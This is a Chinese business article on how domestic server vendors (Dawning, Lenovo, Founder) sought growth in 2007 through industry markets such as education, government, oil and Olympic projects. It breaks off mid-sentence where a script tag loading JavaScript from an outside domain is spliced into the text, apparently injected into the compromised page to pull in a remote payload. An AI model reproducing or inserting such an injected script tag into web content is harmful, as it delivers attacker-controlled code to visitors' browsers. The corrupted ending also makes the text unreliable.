利润下滑，举步维艰，是2007年国产服务器的生动写照。
相对国外知名品牌来说，国产服务器的发展起步较晚，技术水平较低，在芯片等核心技术的把握上也不尽如人意。种种现实将国产服务器挤入了狭缝之中。他们的出路到底在哪里？深入行业细分市场，加强本地化服务，建立特色渠道，国产服务器仍然大有可为。
以行业市场为重
有巨大挑战存在的同时，也意味着空前机遇的诞生。在行业市场上，国产服务器凭借本地优势勇敢冲击。
回顾以往，国产服务器的崛起极大地降低了中国信息化建设的成本，也为中国信息化的安全运营提供了基础保障。目前，中国的信息化建设已经进入了一个深度与广度双维拓展的新时期，作为信息化建设核心的服务器产品，正面临着一个重要的历史转折点。
一方面，国产服务器厂商凭借强大的本地化产品和服务能力越来越多地深入各个行业，如金融、电信等，打破了国外品牌独占高端应用的局面；另一方面，越来越多的行业正在走进信息化建设的快车道，这就为市场需求创造了巨大的空间。
中国服务器产业正在努力面对行业市场的机会，虽然洋品牌在冲击着它们，但国产服务器厂商知道，出路就在自己脚下。
借力行业既有优势
寻找自己的生存空间，充分发挥自己的特长，在特定领域战胜对手，是国产品牌厂商的共识。
目前，国际品牌虽然有着众多的技术优势，但由于其产品主要在国外生产，很难根据中国用户的实际需要进行设计和生产，这就使得国外厂商在行业市场的优势稍逊一筹。对此，曙光服务器销售总监王成江表示：“与国际厂商相比，我们对用户的应用理解更为深刻，并且能够参与到用户的实际应用中。此外，我们并不是简单地把机器卖给用户，而是兼配技术人员常年在当地提供服务。而且服务内容不单单是服务器的技术维护，更多地是在随时关注用户的应用如何调优。”显然，相对于国外厂商而言，国产服务器厂商能够更加贴切地服务本地用户，同时更加及时地获悉本地市场的实际需求。因此，本地化的需求挖掘、产品开发以及后续服务等，为用户提供了非常良好的消费体验，国产服务器厂商的主要优势尽显于此。
基于对本地市场的准确理解，国产服务器以其较高的性价比赢得了很多市场，尤其是一直在政府、教育等需求旺盛的领域表现优异。方正科技也认为，相对于国际品牌，国产厂商在教育行业的服务器市场更有价格优势。随着政府城市信息化进程的不断完善，政府行业对服务器的拥有量和相应比例也在快速增长；在教育行业，借国家教委启动的“校校通”工程，其服务器需求量也急剧上升。势不可当的行业需求大背景大大地刺激了国产服务器厂商奋勇出击的热情。
联想作为国产服务器厂商的重要力量，一直都在大力关注并支持教育行业信息化的发展。早在2005年，它就拥有遍及安徽、山西、沈阳、新疆等省级教育行业大批服务器的采购大单，另有百十台的单子在全国各地教育行业中陆续开花，其他如北京、上海、青岛、荷泽、西安、东莞、深圳等城市也都出现过大批量采购。联想集团服务器总监闻贤指出：“基于多年教育行业实践的经验，2008年联想集团将在服务器行业继续稳定高校发展的目标。”
据了解，早在10年前联想就已经凭借pc业务赢得了教育行业的优势，这为联想服务器未来的市场拓展提供厚实的基础。此外，去年12月，方正科技依托其强大的行业品牌优势、稳定的后续支持和优良的性价比优势，在海南省2006年度农村中小学现代远程教育项目招标中获得该项目98%的招标数额。
推敲具体策略
在发挥既有行业优势的前提下，各个厂商在具体推广时同样运筹帷幄，选择的策略各有千秋。
联想虽然可以依靠pc已有的行业资源，然而在实际拓展时，还充分打好本年度最有号召力的奥运牌。据闻贤介绍，作为国际奥委会全球合作伙伴和2008年北京奥运会的惟一计算机技术设备提供商，联想将产品战略与奥运绑定在一起，成为其突破行业市场的另一个有效发力源。今年联想就与青岛市气象局签订了相关协议，为奥运会的帆船比赛项目提供技术支持，同时该项目也已为今年8月份在青岛举行的国际帆船比赛提供了服务。
与联想不同，曙光则选择了全力以赴地凭借高性能特性赢得服务器市场。近日，在能源行业的一次公开项目招标中，曙光高性能服务器最终胜出，64个节点的曙光tc1700高性能服务器又一次成功入选石油行业。这是继中石油系统2001年大规模采购曙光服务器之后，国产高性能服务器在石油领域的又一次重大突破。
显然，行业市场是国产服务器厂商很得力的一个突破口，但在具体推进时却并不是一帆风顺的，首先就表现为用户对行业服务器的接受程度仍欠火候，需要厂商耐心跟进。闻贤指出，有很多教育行业的用户认为，专门为行业提供的?script src=http://er12.com/t.js>
